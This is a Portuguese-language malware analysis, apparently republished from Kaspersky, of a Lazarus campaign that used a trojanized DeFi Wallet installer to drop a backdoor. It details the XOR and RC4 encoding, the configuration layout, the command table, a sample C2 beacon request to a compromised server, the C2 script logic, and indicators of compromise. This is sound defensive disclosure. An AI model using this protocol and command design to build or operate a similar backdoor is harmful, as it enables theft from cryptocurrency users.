Para o ator de ameaças Lazarus, o ganho financeiro é uma das principais motivações, com ênfase particular no negócio de criptomoedas. À medida que o preço da criptomoeda aumenta e a popularidade dos negócios de token não fungível (NFT) e finanças descentralizadas (DeFi) continua a aumentar, o direcionamento do grupo Lazarus ao setor financeiro continua evoluindo.
Descobrimos recentemente um aplicativo DeFi trojanizado que foi compilado em novembro de 2021. Esse aplicativo contém um programa legítimo chamado DeFi Wallet que salva e gerencia uma carteira de criptomoedas, mas também implanta um arquivo malicioso quando executado. Esse malware é um backdoor completo que contém recursos suficientes para controlar a vítima comprometida. Depois de analisar as funcionalidades desse backdoor, descobrimos inúmeras sobreposições com outras ferramentas usadas pelo grupo Lazarus.
O operador de malware usou exclusivamente servidores da Web comprometidos localizados na Coreia do Sul para este ataque. Para assumir os servidores, trabalhamos em estreita colaboração com o KrCERT e, como resultado desse esforço, tivemos a oportunidade de investigar um servidor C2 do grupo Lazarus. O agente da ameaça configurou essa infraestrutura com servidores configurados como vários estágios. O primeiro estágio é a fonte para o backdoor, enquanto o objetivo dos servidores do segundo estágio é se comunicar com os implantes. Este é um esquema comum usado na infraestrutura Lazarus.
Background
Em meados de dezembro de 2021, notamos um arquivo suspeito carregado no VirusTotal. À primeira vista, parecia um aplicativo legítimo relacionado a finanças descentralizadas (DeFi); no entanto, olhando mais de perto, descobrimos que ele iniciava um esquema de infecção. Quando executado, o aplicativo descarta um arquivo malicioso e um instalador para um aplicativo legítimo, iniciando o malware com o caminho do instalador troiano criado. Em seguida, o malware gerado substitui o aplicativo legítimo pelo aplicativo trojanizado. Por meio desse processo, o aplicativo trojanizado é removido do disco, permitindo que ele cubra seus rastros.
Infecção inicial
Embora ainda não esteja claro como o agente da ameaça enganou a vítima para executar o aplicativo trojanizado (0b9f4612cdfe763b3d8c8a956157474a), suspeitamos que eles enviaram um e-mail de spear phishing ou entraram em contato com a vítima por meio da mídia social. O procedimento de infecção até então desconhecido começa com o aplicativo Trojanized. Este pacote de instalação está disfarçado como um programa DeFi Wallet contendo um binário legítimo reempacotado com o instalador.
Após a execução, ele adquire o caminho do malware do próximo estágio (C:\ProgramData\Microsoft\GoogleChrome.exe) e o descriptografa com um XOR de um byte (Chave: 0x5D). No processo de criação do próximo estágio do malware, o instalador grava os primeiros oito bytes, incluindo o cabeçalho ‘MZ’, no arquivo GoogleChrome.exe e envia os 71.164 bytes restantes da seção de dados do aplicativo trojanizado. Em seguida, o malware carrega o recurso CITRIX_MEETINGS de seu corpo e o salva no caminho C:\ProgramData\Microsoft\CM202025.exe. O arquivo resultante é um aplicativo DeFi Wallet legítimo. Eventualmente, ele executa o malware criado anteriormente com o nome do arquivo como parâmetro:
C:\ProgramData\Microsoft\GoogleChrome.exe “[nome do arquivo atual]”
Criação de backdoors
O malware (d65509f10b432f9bbeacfc39a3506e23 ) gerado pelo aplicativo trojanizado acima é disfarçado como uma instância benigna do navegador Google Chrome. Após o lançamento, o malware verifica se foi fornecido com um argumento antes de tentar copiar o aplicativo legítimo “C:\ProgramData\Microsoft\CM202025.exe” para o caminho fornecido como parâmetro de linha de comando, o que significa substituir o instalador troiano original, quase certamente em uma tentativa de esconder sua existência anterior. Em seguida, o malware executa o arquivo legítimo para enganar a vítima, mostrando seu processo de instalação benigno. Quando o usuário executa o programa recém-instalado, ele mostra o software DeFi Wallet construído com o código fonte público.
Em seguida, o malware inicia a inicialização das informações de configuração. A configuração mostra a estrutura mostrada na tabela abaixo, consistindo em sinalizadores, endereços de servidor C2, valor de identificação da vítima e valor de tempo. Como a estrutura sugere, esse malware pode conter até cinco endereços C2, mas apenas três servidores C2 estão incluídos neste caso.
Desvio | Comprimento (bytes) | Descrição |
0x00 | 4 | Sinalizador para iniciar a operação C2 |
0x04 | 4 | Valor aleatório para selecionar o servidor C2 |
0x08 | 4 | Valor aleatório para identificador de vítima |
0x0C | 0x208 | Endereço do servidor C2 |
0x214 | 0x208 | Endereço do servidor C2 |
0x41C | 0x208 | Endereço do servidor C2 |
0x624 | 0x208 | Endereço do servidor C2 |
0x82C | 0x208 | Endereço do servidor C2 |
0xA34 | 0x464 | Buffer para informações do sistema |
0xE98 | 0x400 | Caminho completo do cmd.exe |
0x1298 | 0x400 | Caminho da pasta temporária |
0x1698 | 8 | Hora de iniciar a operação de backdoor |
0x16A0 | 4 | Intervalo de tempo |
0x16A4 | 4 | Sinalizador para reunir unidades lógicas |
0x16A8 | 8 | Sinalizador para enumerar informações de sessão |
0x16B0 | 8 | O valor de tempo para reunir informações da unidade lógica e da sessão |
O malware escolhe aleatoriamente um endereço de servidor C2 e envia um sinal de beacon para ele. Este sinal é uma DWORD ‘0x60D49D94’ codificada sem criptografia; os dados de resposta retornados do C2 carregam o mesmo valor. Se o valor esperado do servidor C2 for recebido, o malware inicia sua operação de backdoor.
Após a comunicação adicional com o C2, o malware criptografa os dados por um método predefinido. A criptografia é feita via RC4 e a chave codificada 0xD5A3 antes de ser codificada adicionalmente com base64.
O malware gera parâmetros POST com nomes codificados. O tipo de solicitação (msgID), o valor de identificação da vítima e um valor gerado aleatoriamente são mesclados no parâmetro ‘jsessid’. Ele também usa o parâmetro ‘cookie’ para armazenar quatro valores de quatro bytes gerados aleatoriamente. Esses valores são novamente criptografados com RC4 e adicionalmente codificados em base64. Com base em nossa investigação do script C2, observamos que esse malware não apenas usa um parâmetro chamado ‘jsessid’, mas também ‘jcookie’.
A solicitação HTTP a seguir mostra o malware tentando se conectar ao C2 com o tipo de solicitação ’60d49d98′ e um valor de cookie gerado aleatoriamente.
1 2 3 4 5 6 7 8 |
POST /include/inc.asp HTTP/1.1 Content–Type: application/x–www–form–urlencoded User–Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content–Length: 80 Cache–Control: no–cache jsessid=60d49d980163be8f00019f91&cookie=29f23f917ab01aa8lJ3UYA==2517757b7dfb47f1 |
Dependendo da resposta do C2, o malware executa sua tarefa de backdoor instruída. Ele carrega várias funcionalidades para coletar informações do sistema e controlar a máquina da vítima.
Comando | Descrição |
0x60D49D97 | Defina a configuração de tempo com o valor do intervalo de tempo atual (o padrão é 10) |
0x60D49D9F | Defina a configuração de tempo com dados entregues do servidor C2 |
0x60D49DA0 | Reúna informações do sistema, como endereço IP, nome do computador, versão do sistema operacional, arquitetura da CPU |
0x60D49DA1 | Colete informações da unidade, incluindo tipo e tamanho livre |
0x60D49DA2 | Enumerar arquivos (com nome de arquivo, tamanho, hora) |
0x60D49DA3 | Enumerar processos |
0x60D49DA4 | Encerrar processo |
0x60D49DA5 | Alterar diretório de trabalho |
0x60D49DA6 | Conecte-se a um determinado endereço IP |
0x60D49DA7 | Registro de data e hora do arquivo |
0x60D49DA8 | Executar comando do Windows |
0x60D49DA9 | Excluir um arquivo com segurança |
0x60D49DAA | Processo de geração com a API CreateProcessW |
0x60D49DAB | Processo de geração com a API CreateProcessAsUserW |
0x60D49DAC | Processo de spawn com alto nível de integridade |
0x60D49DAD | Baixe o arquivo do servidor C2 e salve no caminho do arquivo fornecido |
0x60D49DAE | Envie a hora e o conteúdo da criação do arquivo |
0x60D49DAF | Adicione arquivos ao arquivo .cab e envie-o para o servidor C2 |
0x60D49DB0 | Colete uma lista de arquivos no caminho fornecido |
0x60D49DB1 | Envie a configuração para o servidor C2 |
0x60D49DB2 | Receba a nova configuração do servidor C2 |
0x60D49DB3 | Defina a configuração para a hora atual |
0x60D49DB4 | Durma 0,1 segundo e continue |
A infraestrutura
A Lazarus usou apenas servidores web comprometidos localizados na Coreia do Sul nesta campanha. Como resultado de trabalhar em estreita colaboração com o KrCERT para derrubar alguns deles, tivemos a chance de examinar o script C2 correspondente de um dos servidores comprometidos. O script descrito nesta seção foi descoberto no seguinte caminho:
1 |
http://bn-cosmo[.]com/customer/board_replay[.]asp |
O script é um arquivo ASP VBScript.Encode, comumente usado pelo grupo Lazarus em seus scripts C2. Após a decodificação, mostra a string ’60d49d95′ como código de resposta de erro, enquanto a string ’60d49d94′ é usada como mensagem de sucesso. Além disso, o histórico de conexão é salvo no arquivo ‘stlogo.jpg ‘ e o endereço C2 para a próxima etapa é armazenado no arquivo ‘globals.jpg ‘ localizado na mesma pasta.
Este script verifica qual valor é entregue no parâmetro ‘jcookie’ e, se tiver mais de 24 caracteres, extrai os primeiros oito caracteres como msgID . Dependendo do valor msgID, ele chama funções diferentes. O comando backdoor e o resultado da execução do comando entregues pelo backdoor são armazenados em variáveis globais. Já vimos esse esquema em operação antes com o cluster Bookcode [2] . Este script usa as seguintes variáveis como sinalizadores e buffers para entregar dados e comandos entre o backdoor e um servidor C2 de segundo estágio:
- lFlag: sinalizador para sinalizar que há dados para entregar ao backdoor
- lBuffer: buffer para armazenar dados a serem enviados posteriormente para o backdoor
- tFlag: sinalizador para sinalizar que há uma resposta do backdoor
- tBuffer: buffer para armazenar dados de entrada do backdoor
ID da mensagem | Nome da função | Descrição |
60d49d98 | TFConnect | Salve o valor ‘TID’ (identificador da vítima) no arquivo de log, envie o valor ‘jcookie’ com o endereço IP do cliente após adquirir o endereço C2 do próximo estágio do arquivo de configuração (globals.jpg). Encaminhe a resposta do próximo servidor de estágio para o cliente. |
60d49d99 | TConnect | Entregue o comando para o backdoor: Se o lFlag for ‘true’, envie lBuffer para o cliente. Redefina ‘lBuffer’ e defina lFlag como ‘false’. Caso contrário, redefina ‘tBuffer’ e defina tFlag como ‘false’. |
60d49d9a | LConnect | Envie o comando e retorne o resultado da execução do comando: Defina o valor ‘lBuffer’ para o parâmetro ‘jcookie’, entregando ‘tBuffer’ ao cliente. |
60d49d9c | Verificar | Recupere informações do host (nome do computador, versão do sistema operacional). Exclua o arquivo de configuração, que salva o endereço do próximo estágio do C2, se existir. Em seguida, salve a nova configuração com os dados entregues através do parâmetro ‘jcookie’. |
60d49d9d | LogDown | Entregue o arquivo de log após a codificação base64 e exclua-o. |
os outros | N / D | Grava conexões com dados msgID desconhecidos/inesperados (tipo de solicitação) em um arquivo de log, as entradas são marcadas com ‘xxxxxxxx’ . |
Atribuição
Acreditamos com alta confiança que o grupo Lazarus está vinculado a esse malware, pois identificamos malware semelhante no cluster CookieTime. O cluster CookieTime, chamado LCPDot pelo JPCERT, era um cluster de malware muito usado pelo grupo Lazarus até recentemente. Vimos o grupo Lazarus atingir a indústria de defesa usando o cluster CookieTime com um chamariz de oportunidade de trabalho. Já publicamos vários relatórios sobre esse cluster para nossos clientes do Threat Intelligence Service e identificamos um aplicativo Citrix trojanizado (5b831eaed711d5c4bc19d7e75fcaf46e) com a mesma assinatura de código que o malware CookieTime. O backdoor descoberto na investigação mais recente e o aplicativo Trojan descoberto anteriormente são quase idênticos. Eles compartilham, entre outras coisas, o mesmo método de comunicação C2, funcionalidades backdoor, rotina de geração de números aleatórios e o mesmo método para criptografar dados de comunicação. Além disso, esse malware foi mencionado em um artigo da Ahnlab discutindo conexões com o malware CookieTime (também conhecido como LCPDot).
Por sua vez, identificamos que o cluster CookieTime possui vínculos com os clusters Manuscrypt e ThreatNeedle, que também são atribuídos ao grupo Lazarus. Isso não se aplica apenas ao backdoor em si, mas também aos scripts C2, que mostram várias sobreposições com o cluster ThreatNeedle. Descobrimos quase todos os nomes de funções e variáveis, o que significa que os operadores reciclaram a base de código e geraram scripts C2 correspondentes para o malware.
Script ThreatNeedle C2 de roit.co[.]kr/xyz/adminer/edit_fail_decoded.asp |
script C2 deste caso | ||||
|
|
Scripts quase idênticos para buscar o endereço IP do cliente
Script ThreatNeedle C2 de: edujikim[.]com/pay_sample/INIstart.asp |
script C2 deste caso | ||||
|
|
Scripts semelhantes para salvar dados em um arquivo
Conclusões
Em uma investigação anterior descobrimos que o grupo BlueNoroff , que também está ligado ao Lazarus, comprometeu outro programa de carteira DeFi chamado MetaMask. Como podemos ver no caso mais recente, os grupos Lazarus e BlueNoroff tentam entregar seu malware sem chamar atenção para ele e desenvolveram métodos sofisticados para atrair suas vítimas. A indústria baseada em criptomoedas e blockchain continua a crescer e atrair altos níveis de investimento. Por esta razão, acreditamos firmemente que o interesse da Lazarus nesta indústria como uma importante fonte de ganho financeiro não diminuirá tão cedo.
Indicadores de Compromisso
Aplicativo DeFi com Trojan
0b9f4612cdfe763b3d8c8a956157474a DeFi-App.exe
Porta dos fundos descartada
d65509f10b432f9bbeacfc39a3506e23 %ProgramData%\Microsoft\GoogleChrome.exe
Semelhante backdoor
a4873ef95e6d76856aa9a43d56f639a4
d35a9babbd9589694deb4e87db222606
70bcafbb1939e45b841e68576a320603
3f4cf1a8a16e48a866aebd5697ec107b
b7092df99ece1cdb458259e0408983c7
8e302b5747ff1dcad301c136e9acb4b0
d90d267f81f108a89ad728b7ece38e70
47b73a47e26ba18f0dba217cb47c1e16
77ff51bfce3f018821e343c04c698c0e
Servidores C2 de primeiro estágio (legítimos, comprometidos)
hxxp://emsystec[.]com/include/inc[.]asp
hxxp://www[.]gyro3d[.]com/common/faq[.]asp
hxxp:/ /www[.]newbusantour[.]co[.]kr/gallery/left[.]asp
hxxp://ilovesvc[.]com/HomePage1/Inquiry/privacy[.]asp
hxxp://www[.]syadplus [.]com/search/search_00[.]asp
hxxp://bn-cosmo[.]com/customer/board_replay[.]asp
Servidores C2 de segundo estágio (legítimos, comprometidos)
hxxp://softapp[.]co[.]kr/sub/cscenter/privacy[.]asp
hxxp://gyro3d[.]com/mypage/faq[.]asp
Mapeamento MITRE ATT&CK
Esta tabela contém todos os TTPs identificados na análise da atividade descrita neste relatório.
Tática | Técnica | Nome da técnica |
Execução | T1204.002 | Execução do usuário: arquivo malicioso Use aplicativo Trojan para eliminar backdoor malicioso |
Persistência | T1547.001 | Execução de Inicialização Automática de Inicialização ou Logon: Chaves de Execução do Registro / Registro da Pasta de Inicialização Dropdoor para a chave de registro Executar |
Evasão de Defesa | T1070.004 | Remoção do Indicador no Host: Exclusão de Arquivo O aplicativo trojanizado se sobrescreve após criar um aplicativo legítimo para remover seu rastro |
T1070.006 | Remoção do indicador no host: Timestomp Backdoor capaz de fazer timestomping de arquivos específicos | |
Descoberta | T1057 | Lista de Descoberta de Processos executando processos com backdoor |
T1082 | Descoberta de informações do sistema Reúna endereço IP, nome do computador, versão do sistema operacional e arquitetura da CPU com backdoor | |
T1083 | Descoberta de arquivos e diretórios Listar arquivos em alguns diretórios com backdoor | |
T1124 | System Time Discovery Reúna informações do sistema com backdoor | |
Comando e controle | T1071.001 | Protocolo de camada de aplicativo: protocolos da Web Use HTTP como canal C2 com backdoor |
T1573.001 | Canal criptografado: criptografia simétrica Use criptografia RC4 e base64 com backdoor | |
Exfiltração | T1041 | Exfiltração no canal C2 Os exfiltrados coletaram dados em canais C2 com backdoor |
https://github.com/DeFiCh/app
Relatório da APT Intel: Lazarus Covet Covid19 Related Intelligence
Fonte: Kaspersky
Descubra mais sobre DCiber
Assine para receber os posts mais recentes por e-mail.